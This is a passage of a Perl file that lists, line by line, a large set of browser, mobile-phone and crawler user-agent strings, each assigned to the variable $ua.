  246. my $ua = "Mozilla/5.0 (Symbian/3; Series60/5.2 NokiaC6-01/011.010; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML; like Gecko) Version/3.0 BrowserNG/7.2.7.2 3gpp-gba";
  247. my $ua = "Mozilla/5.0 (Symbian/3; Series60/5.2 NokiaC7-00/012.003; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML; like Gecko) Version/3.0 BrowserNG/7.2.7.3 3gpp-gba";
  248. my $ua = "Mozilla/5.0 (Symbian/3; Series60/5.2 NokiaE6-00/021.002; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/533.4 (KHTML; like Gecko) NokiaBrowser/7.3.1.16 Mobile Safari/533.4 3gpp-gba";
  249. my $ua = "Mozilla/5.0 (Symbian/3; Series60/5.2 NokiaE7-00/010.016; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML; like Gecko) Version/3.0 BrowserNG/7.2.7.3 3gpp-gba";
  250. my $ua = "Mozilla/5.0 (Symbian/3; Series60/5.2 NokiaN8-00/014.002; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML; like Gecko) Version/3.0 BrowserNG/7.2.6.4 3gpp-gba";
  251. my $ua = "Mozilla/5.0 (Symbian/3; Series60/5.2 NokiaX7-00/021.004; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/533.4 (KHTML; like Gecko) NokiaBrowser/7.3.1.21 Mobile Safari/533.4 3gpp-gba";
  252. my $ua = "Mozilla/5.0 (SymbianOS/9.1; U; de) AppleWebKit/413 (KHTML; like Gecko) Safari/413";
  253. my $ua = "Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML; like Gecko) Safari/413";
  254. my $ua = "Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML; like Gecko) Safari/413 es50";
  255. my $ua = "Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML; like Gecko) Safari/413 es65";
  256. my $ua = "Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML; like Gecko) Safari/413 es70";
  257. my $ua = "Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 Nokia5700/3.27; Profile/MIDP-2.0 Configuration/CLDC-1.1) AppleWebKit/413 (KHTML; like Gecko) Safari/413";
  258. my $ua = "Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 Nokia6120c/3.70; Profile/MIDP-2.0 Configuration/CLDC-1.1) AppleWebKit/413 (KHTML; like Gecko) Safari/413";
  259. my $ua = "Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaE90-1/07.24.0.3; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML; like Gecko) Safari/413 UP.Link/6.2.3.18.0";
  260. my $ua = "Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95/10.0.018; Profile/MIDP-2.0 Configuration/CLDC-1.1) AppleWebKit/413 (KHTML; like Gecko) Safari/413 UP.Link/6.3.0.0.0";
  261. my $ua = "Mozilla/5.0 (SymbianOS 9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML; like Gecko) WicKed/7.1.12344";
  262. my $ua = "Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML; like Gecko) WicKed/7.1.12344";
  263. my $ua = "Mozilla/5.0 (SymbianOS/9.4; U; Series60/5.0 SonyEricssonP100/01; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/525 (KHTML; like Gecko) Version/3.0 Safari/525";
  264. my $ua = "Mozilla/5.0 (Unknown; U; UNIX BSD/SYSV system; C -) AppleWebKit/527  (KHTML; like Gecko; Safari/419.3) Arora/0.10.2";
  265. my $ua = "Mozilla/5.0 (webOS/1.3; U; en-US) AppleWebKit/525.27.1 (KHTML; like Gecko) Version/1.0 Safari/525.27.1 Desktop/1.0";
  266. my $ua = "Mozilla/5.0 (WindowsCE 6.0; rv:2.0.1) Gecko/20100101 Firefox/4.0.1";
  267. my $ua = "Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0";
  268. my $ua = "Mozilla/5.0 (Windows NT 5.2; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1";
  269. my $ua = "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.2 (KHTML; like Gecko) Chrome/15.0.874.120 Safari/535.2";
  270. my $ua = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML; like Gecko) Chrome/18.6.872.0 Safari/535.2 UNTRUSTED/1.0 3gpp-gba UNTRUSTED/1.0";
  271. my $ua = "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120403211507 Firefox/12.0";
  272. my $ua = "Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1";
  273. my $ua = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1";
  274. my $ua = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.27 (KHTML; like Gecko) Chrome/12.0.712.0 Safari/534.27";
  275. my $ua = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML; like Gecko) Chrome/13.0.782.24 Safari/535.1";
  276. my $ua = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML; like Gecko) Chrome/16.0.912.36 Safari/535.7";
  277. my $ua = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML; like Gecko) Chrome/20.0.1092.0 Safari/536.6";
  278. my $ua = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:10.0.1) Gecko/20100101 Firefox/10.0.1";
  279. my $ua = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120427 Firefox/15.0a1";
  280. my $ua = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b4pre) Gecko/20100815 Minefield/4.0b4pre";
  281. my $ua = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110622 Firefox/6.0a2";
  282. my $ua = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20100101 Firefox/7.0.1";
  283. my $ua = "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML; like Gecko) Chrome/19.0.1061.1 Safari/536.3";
  284. my $ua = "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML; like Gecko) Chrome/20.0.1090.0 Safari/536.6";
  285. my $ua = "Mozilla/5.0 (Windows; U; ; en-NZ) AppleWebKit/527  (KHTML; like Gecko; Safari/419.3) Arora/0.8.0";
  286. my $ua = "Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.4) Gecko Netscape/7.1 (ax)";
  287. my $ua = "Mozilla/5.0 (Windows; U; Windows CE 5.1; rv:1.8.1a3) Gecko/20060610 Minimo/0.016";
  288. my $ua = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.21.8 (KHTML; like Gecko) Version/4.0.4 Safari/531.21.10";
  289. my $ua = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.7 (KHTML; like Gecko) Chrome/7.0.514.0 Safari/534.7";
  290. my $ua = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.23) Gecko/20090825 SeaMonkey/1.1.18";
  291. my $ua = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10";
  292. my $ua = "Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0E)";
  293. my $ua = "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.9 (KHTML; like Gecko) Chrome/5.0.310.0 Safari/532.9";
  294. my $ua = "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.17.8 (KHTML; like Gecko) Version/5.0.1 Safari/533.17.8";
  295. my $ua = "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729)";
  296. my $ua = "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/527  (KHTML; like Gecko; Safari/419.3) Arora/0.6 (Change: )";
  297. my $ua = "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.1 (KHTML; like Gecko) Maxthon/3.0.8.2 Safari/533.1";
  298. my $ua = "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML; like Gecko) Chrome/9.0.601.0 Safari/534.14";
  299. my $ua = "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 GTB5";
  300. my $ua = "Mozilla/5.0 (Windows; U; Windows NT 6.0 x64; en-US; rv:1.9pre) Gecko/2008072421 Minefield/3.0.2pre";
  301. my $ua = "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.17) Gecko/20110123 (like Firefox/3.x) SeaMonkey/2.0.12";
  302. my $ua = "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML; like Gecko) Chrome/4.0.249.0 Safari/532.5";
  303. my $ua = "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML; like Gecko) Version/5.0.2 Safari/533.18.5";
  304. my $ua = "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.14 (KHTML; like Gecko) Chrome/10.0.601.0 Safari/534.14";
  305. my $ua = "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.20 (KHTML; like Gecko) Chrome/11.0.672.2 Safari/534.20";
  306. my $ua = "Mozilla/5.0 (Windows; U; Windows XP) Gecko MultiZilla/1.6.1.0a";
  307. my $ua = "Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.2b) Gecko/20021001 Phoenix/0.2";
  308. my $ua = "Mozilla/5.0 (X11; FreeBSD amd64; rv:5.0) Gecko/20100101 Firefox/5.0";
  309. my $ua = "Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.34 (KHTML; like Gecko) QupZilla/1.2.0 Safari/534.34";
  310. my $ua = "Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML; like Gecko) Ubuntu/11.04 Chromium/14.0.825.0 Chrome/14.0.825.0 Safari/535.1";
  311. my $ua = "Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.2 (KHTML; like Gecko) Ubuntu/11.10 Chromium/15.0.874.120 Chrome/15.0.874.120 Safari/535.2";
  312. my $ua = "Mozilla/5.0 (X11; Linux i686 on x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1";
  313. my $ua = "Mozilla/5.0 (X11; Linux i686 on x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1";
  314. my $ua = "Mozilla/5.0 (X11; Linux i686; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1";
  315. my $ua = "Mozilla/5.0 (X11; Linux i686; rv:12.0) Gecko/20100101 Firefox/12.0 ";
  316. my $ua = "Mozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20100101 Firefox/4.0.1";
  317. my $ua = "Mozilla/5.0 (X11; Linux i686; rv:2.0b6pre) Gecko/20100907 Firefox/4.0b6pre";
  318. my $ua = "Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0";
  319. my $ua = "Mozilla/5.0 (X11; Linux i686; rv:6.0a2) Gecko/20110615 Firefox/6.0a2 Iceweasel/6.0a2";
  320. my $ua = "Mozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20100101 Firefox/6.0";
  321. my $ua = "Mozilla/5.0 (X11; Linux i686; rv:8.0) Gecko/20100101 Firefox/8.0";
  322. my $ua = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML; like Gecko) Ubuntu/10.10 Chromium/12.0.703.0 Chrome/12.0.703.0 Safari/534.24";
  323. my $ua = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML; like Gecko) Chrome/13.0.782.20 Safari/535.1";
  324. my $ua = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML; like Gecko) Chrome/19.0.1084.9 Safari/536.5";
  325. my $ua = "Mozilla/5.0 (X11; Linux x86_64; en-US; rv:2.0b2pre) Gecko/20100712 Minefield/4.0b2pre";
  326. my $ua = "Mozilla/5.0 (X11; Linux x86_64; rv:10.0.1) Gecko/20100101 Firefox/10.0.1";
  327. my $ua = "Mozilla/5.0 (X11; Linux x86_64; rv:11.0a2) Gecko/20111230 Firefox/11.0a2 Iceweasel/11.0a2";
  328. my $ua = "Mozilla/5.0 (X11; Linux x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1";
  329. my $ua = "Mozilla/5.0 (X11; Linux x86_64; rv:2.2a1pre) Gecko/20100101 Firefox/4.2a1pre";
  330. my $ua = "Mozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100101 Firefox/5.0 Iceweasel/5.0";
  331. my $ua = "Mozilla/5.0 (X11; Linux x86_64; rv:7.0a1) Gecko/20110623 Firefox/7.0a1";
  332. my $ua = "Mozilla/5.0 (X11; U; FreeBSD amd64; en-us) AppleWebKit/531.2  (KHTML; like Gecko) Safari/531.2  Epiphany/2.30.0";
  333. my $ua = "Mozilla/5.0 (X11; U; FreeBSD i386; de-CH; rv:1.9.2.8) Gecko/20100729 Firefox/3.6.8";
  334. my $ua = "Mozilla/5.0 (X11; U; FreeBSD i386; en-US) AppleWebKit/532.0 (KHTML; like Gecko) Chrome/4.0.207.0 Safari/532.0";
  335. my $ua = "Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.6) Gecko/20040406 Galeon/1.3.15";
  336. my $ua = "Mozilla/5.0 (X11; U; FreeBSD; i386; en-US; rv:1.7) Gecko";
  337. my $ua = "Mozilla/5.0 (X11; U; FreeBSD x86_64; en-US) AppleWebKit/534.16 (KHTML; like Gecko) Chrome/10.0.648.204 Safari/534.16";
  338. my $ua = "Mozilla/5.0 (X11; U; Linux arm7tdmi; rv:1.8.1.11) Gecko/20071130 Minimo/0.025";
  339. my $ua = "Mozilla/5.0 (X11; U; Linux armv61; en-US; rv:1.9.1b2pre) Gecko/20081015 Fennec/1.0a1";
  340. my $ua = "Mozilla/5.0 (X11; U; Linux armv6l; rv 1.8.1.5pre) Gecko/20070619 Minimo/0.020";
  341. my $ua = "Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527  (KHTML; like Gecko; Safari/419.3) Arora/0.10.1";
  342. my $ua = "Mozilla/5.0 (X11; U; Linux i586; en-US; rv:1.7.3) Gecko/20040924 Epiphany/1.4.4 (Ubuntu)";
  343. my $ua = "Mozilla/5.0 (X11; U; Linux i686; en-us) AppleWebKit/528.5  (KHTML; like Gecko; Safari/528.5 ) lt-GtkLauncher";
  344. my $ua = "Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.4 (KHTML; like Gecko) Chrome/4.0.237.0 Safari/532.4 Debian";
  345. my $ua = "Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.8 (KHTML; like Gecko) Chrome/4.0.277.0 Safari/532.8";
  346. my $ua = "Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML; like Gecko) Ubuntu/10.10 Chromium/10.0.613.0 Chrome/10.0.613.0 Safari/534.15";
  347. my $ua = "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040614 Firefox/0.8";
  348. my $ua = "Mozilla/5.0 (X11; U; Linux; i686; en-US; rv:1.6) Gecko Debian/1.6-7";
  349. my $ua = "Mozilla/5.0 (X11; U; Linux; i686; en-US; rv:1.6) Gecko Epiphany/1.2.5";
  350. my $ua = "Mozilla/5.0 (X11; U; Linux; i686; en-US; rv:1.6) Gecko Galeon/1.3.14";
  351. my $ua = "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 MG(Novarra-Vision/6.9)";
  352. my $ua = "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080716 (Gentoo) Galeon/2.0.6";
  353. my $ua = "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061024 Firefox/2.0 (Swiftfox)";
  354. my $ua = "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009060309 Ubuntu/9.10 (karmic) Firefox/3.0.11";
  355. my $ua = "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Galeon/2.0.6 (Ubuntu 2.0.6-2)";
  356. my $ua = "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20120421 Gecko Firefox/11.0";
  357. my $ua = "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2) Gecko/20090803 Ubuntu/9.04 (jaunty) Shiretoko/3.5.2";
  358. my $ua = "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a3pre) Gecko/20070330";
  359. my $ua = "Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.2.3) Gecko/20100406 Firefox/3.6.3 (Swiftfox)";
  360. my $ua = "Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.2) Gecko/20121223 Ubuntu/9.25 (jaunty) Firefox/3.8";
  361. my $ua = "Mozilla/5.0 (X11; U; Linux i686; pt-PT; rv:1.9.2.3) Gecko/20100402 Iceweasel/3.6.3 (like Firefox/3.6.3) GTB7.0";
  362. my $ua = "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.8.1.13) Gecko/20080313 Iceape/1.1.9 (Debian-1.1.9-5)";
  363. my $ua = "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.9 (KHTML; like Gecko) Chrome/5.0.309.0 Safari/532.9";
  364. my $ua = "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.15 (KHTML; like Gecko) Chrome/10.0.613.0 Safari/534.15";
  365. my $ua = "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.7 (KHTML; like Gecko) Chrome/7.0.514.0 Safari/534.7";
  366. my $ua = "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML; like Gecko) Ubuntu/10.10 Chrome/9.1.0.0 Safari/540.0";
  367. my $ua = "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.3) Gecko/2008092814 (Debian-3.0.1-1)";
  368. my $ua = "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.13) Gecko/20100916 Iceape/2.0.8";
  369. my $ua = "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.17) Gecko/20110123 SeaMonkey/2.0.12";
  370. my $ua = "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20091020 Linux Mint/8 (Helena) Firefox/3.5.3";
  371. my $ua = "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko/20091107 Firefox/3.5.5";
  372. my $ua = "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.9) Gecko/20100915 Gentoo Firefox/3.6.9";
  373. my $ua = "Mozilla/5.0 (X11; U; Linux x86_64; sv-SE; rv:1.8.1.12) Gecko/20080207 Ubuntu/7.10 (gutsy) Firefox/2.0.0.12";
  374. my $ua = "Mozilla/5.0 (X11; U; Linux x86_64; us; rv:1.9.1.19) Gecko/20110430 shadowfox/7.0 (like Firefox/7.0";
  375. my $ua = "Mozilla/5.0 (X11; U; NetBSD amd64; en-US; rv:1.9.2.15) Gecko/20110308 Namoroka/3.6.15";
  376. my $ua = "Mozilla/5.0 (X11; U; OpenBSD arm; en-us) AppleWebKit/531.2  (KHTML; like Gecko) Safari/531.2  Epiphany/2.30.0";
  377. my $ua = "Mozilla/5.0 (X11; U; OpenBSD i386; en-US) AppleWebKit/533.3 (KHTML; like Gecko) Chrome/5.0.359.0 Safari/533.3";
  378. my $ua = "Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.9.1) Gecko/20090702 Firefox/3.5";
  379. my $ua = "Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.8.1.12) Gecko/20080303 SeaMonkey/1.1.8";
  380. my $ua = "Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.9.1b3) Gecko/20090429 Firefox/3.1b3";
  381. my $ua = "Mozilla/5.0 (X11; U; SunOS sun4m; en-US; rv:1.4b) Gecko/20030517 Mozilla Firebird/0.6";
  382. my $ua = "MSIE (MSIE 6.0; X11; Linux; i686) Opera 7.23";
  383. my $ua = "msnbot/0.11 ( http://search.msn.com/msnbot.htm)";
  384. my $ua = "msnbot/1.0 ( http://search.msn.com/msnbot.htm)";
  385. my $ua = "msnbot/1.1 ( http://search.msn.com/msnbot.htm)";
  386. my $ua = "msnbot-media/1.1 ( http://search.msn.com/msnbot.htm)";
  387. my $ua = "NetSurf/1.2 (NetBSD; amd64)";
  388. my $ua = "Nokia3230/2.0 (5.0614.0) SymbianOS/7.0s Series60/2.1 Profile/MIDP-2.0 Configuration/CLDC-1.0";
  389. my $ua = "Nokia6100/1.0 (04.01) Profile/MIDP-1.0 Configuration/CLDC-1.0";
  390. my $ua = "Nokia6230/2.0 (04.44) Profile/MIDP-2.0 Configuration/CLDC-1.1";
  391. my $ua = "Nokia6230i/2.0 (03.80) Profile/MIDP-2.0 Configuration/CLDC-1.1";
  392. my $ua = "Nokia6630/1.0 (2.3.129) SymbianOS/8.0 Series60/2.6 Profile/MIDP-2.0 Configuration/CLDC-1.1";
  393. my $ua = "Nokia6630/1.0 (2.39.15) SymbianOS/8.0 Series60/2.6 Profile/MIDP-2.0 Configuration/CLDC-1.1";
  394. my $ua = "Nokia7250/1.0 (3.14) Profile/MIDP-1.0 Configuration/CLDC-1.0";
  395. my $ua = "NokiaN70-1/5.0609.2.0.1 Series60/2.8 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.1.13.0";
  396. my $ua = "NokiaN73-1/3.0649.0.0.1 Series60/3.0 Profile/MIDP2.0 Configuration/CLDC-1.1";
  397. my $ua = "nook browser/1.0";
  398. my $ua = "Offline Explorer/2.5";
  399. my $ua = "Opera/10.61 (J2ME/MIDP; Opera Mini/5.1.21219/19.999; en-US; rv:1.9.3a5) WebKit/534.5 Presto/2.6.30";
  400. my $ua = "Opera/7.50 (Windows ME; U) [en]";
  401. my $ua = "Opera/7.50 (Windows XP; U)";
  402. my $ua = "Opera/7.51 (Windows NT 5.1; U) [en]";
  403. my $ua = "Opera/8.01 (J2ME/MIDP; Opera Mini/1.0.1479/HiFi; SonyEricsson P900; no; U; ssr)";
  404. my $ua = "Opera/9.0 (Macintosh; PPC Mac OS X; U; en)";
  405. my $ua = "Opera/9.20 (Macintosh; Intel Mac OS X; U; en)";
  406. my $ua = "Opera/9.25 (Windows NT 6.0; U; en)";
  407. my $ua = "Opera/9.30 (Nintendo Wii; U; ; 2047-7; en)";
  408. my $ua = "Opera/9.51 Beta (Microsoft Windows; PPC; Opera Mobi/1718; U; en)";
  409. my $ua = "Opera/9.5 (Microsoft Windows; PPC; Opera Mobi; U) SonyEricssonX1i/R2AA Profile/MIDP-2.0 Configuration/CLDC-1.1";
  410. my $ua = "Opera/9.60 (J2ME/MIDP; Opera Mini/4.1.11320/608; U; en) Presto/2.2.0";
  411. my $ua = "Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14320/554; U; cs) Presto/2.2.0";
  412. my $ua = "Opera/9.64 (Macintosh; PPC Mac OS X; U; en) Presto/2.1.1";
  413. my $ua = "Opera/9.64 (X11; Linux i686; U; Linux Mint; nb) Presto/2.1.1";
  414. my $ua = "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0.16823/1428; U; en) Presto/2.2.0";
  415. my $ua = "Opera/9.80 (Macintosh; Intel Mac OS X 10.4.11; U; en) Presto/2.7.62 Version/11.00";
  416. my $ua = "Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52";
  417. my $ua = "Opera/9.80 (Macintosh; Intel Mac OS X; U; en) Presto/2.6.30 Version/10.61";
  418. my $ua = "Opera/9.80 (S60; SymbOS; Opera Mobi/499; U; ru) Presto/2.4.18 Version/10.00";
  419. my $ua = "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.39 Version/11.00";
  420. my $ua = "Opera/9.80 (Windows NT 5.1; U; zh-tw) Presto/2.8.131 Version/11.10";
  421. my $ua = "Opera/9.80 (Windows NT 5.2; U; en) Presto/2.2.15 Version/10.10";
  422. my $ua = "Opera/9.80 (Windows NT 6.1; U; en) Presto/2.7.62 Version/11.01";
  423. my $ua = "Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00";
  424. my $ua = "Opera/9.80 (X11; Linux i686; U; en) Presto/2.2.15 Version/10.10";
  425. my $ua = "Opera/9.80 (X11; Linux x86_64; U; pl) Presto/2.7.62 Version/11.00";
  426. my $ua = "P3P Validator";
  427. my $ua = "Peach/1.01 (Ubuntu 8.04 LTS; U; en)";
  428. my $ua = "POLARIS/6.01(BREW 3.1.5;U;en-us;LG;LX265;POLARIS/6.01/WAP;)MMP/2.0 profile/MIDP-201 Configuration /CLDC-1.1";
  429. my $ua = "POLARIS/6.01 (BREW 3.1.5; U; en-us; LG; LX265; POLARIS/6.01/WAP) MMP/2.0 profile/MIDP-2.1 Configuration/CLDC-1.1";
  430. my $ua = "portalmmm/2.0 N410i(c20;TB) ";
  431. my $ua = "Python-urllib/2.5";
  432. my $ua = "SAMSUNG-S8000/S8000XXIF3 SHP/VPP/R5 Jasmine/1.0 Nextreaming SMM-MMS/1.2.0 profile/MIDP-2.1 configuration/CLDC-1.1 FirePHP/0.3";
  433. my $ua = "SAMSUNG-SGH-A867/A867UCHJ3 SHP/VPP/R5 NetFront/35 SMM-MMS/1.2.0 profile/MIDP-2.0 configuration/CLDC-1.1 UP.Link/6.3.0.0.0";
  434. my $ua = "SAMSUNG-SGH-E250/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/6.2.3.3.c.1.101 (GUI) MMP/2.0 (compatible; Googlebot-Mobile/2.1;  http://www.google.com/bot.html)";
  435. my $ua = "SearchExpress";
  436. my $ua = "SEC-SGHE900/1.0 NetFront/3.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4509/1378; nl; U; ssr)";
  437. my $ua = "SEC-SGHX210/1.0 UP.Link/6.3.1.13.0";
  438. my $ua = "SEC-SGHX820/1.0 NetFront/3.2 Profile/MIDP-2.0 Configuration/CLDC-1.1";
  439. my $ua = "SonyEricssonK310iv/R4DA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.1.13.0";
  440. my $ua = "SonyEricssonK550i/R1JD Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1";
  441. my $ua = "SonyEricssonK610i/R1CB Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1";
  442. my $ua = "SonyEricssonK750i/R1CA Browser/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1";
  443. my $ua = "SonyEricssonK800i/R1CB Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.0";
  444. my $ua = "SonyEricssonK810i/R1KG Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1";
  445. my $ua = "SonyEricssonS500i/R6BC Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1";
  446. my $ua = "SonyEricssonT100/R101";
  447. my $ua = "SonyEricssonT610/R201 Profile/MIDP-1.0 Configuration/CLDC-1.0";
  448. my $ua = "SonyEricssonT650i/R7AA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1";
  449. my $ua = "SonyEricssonT68/R201A";
  450. my $ua = "SonyEricssonW580i/R6BC Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1";
  451. my $ua = "SonyEricssonW660i/R6AD Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1";
  452. my $ua = "SonyEricssonW810i/R4EA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.0";
  453. my $ua = "SonyEricssonW850i/R1ED Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1";
  454. my $ua = "SonyEricssonW950i/R100 Mozilla/4.0 (compatible; MSIE 6.0; Symbian OS; 323) Opera 8.60 [en-US]";
  455. my $ua = "SonyEricssonW995/R1EA Profile/MIDP-2.1 Configuration/CLDC-1.1 UNTRUSTED/1.0";
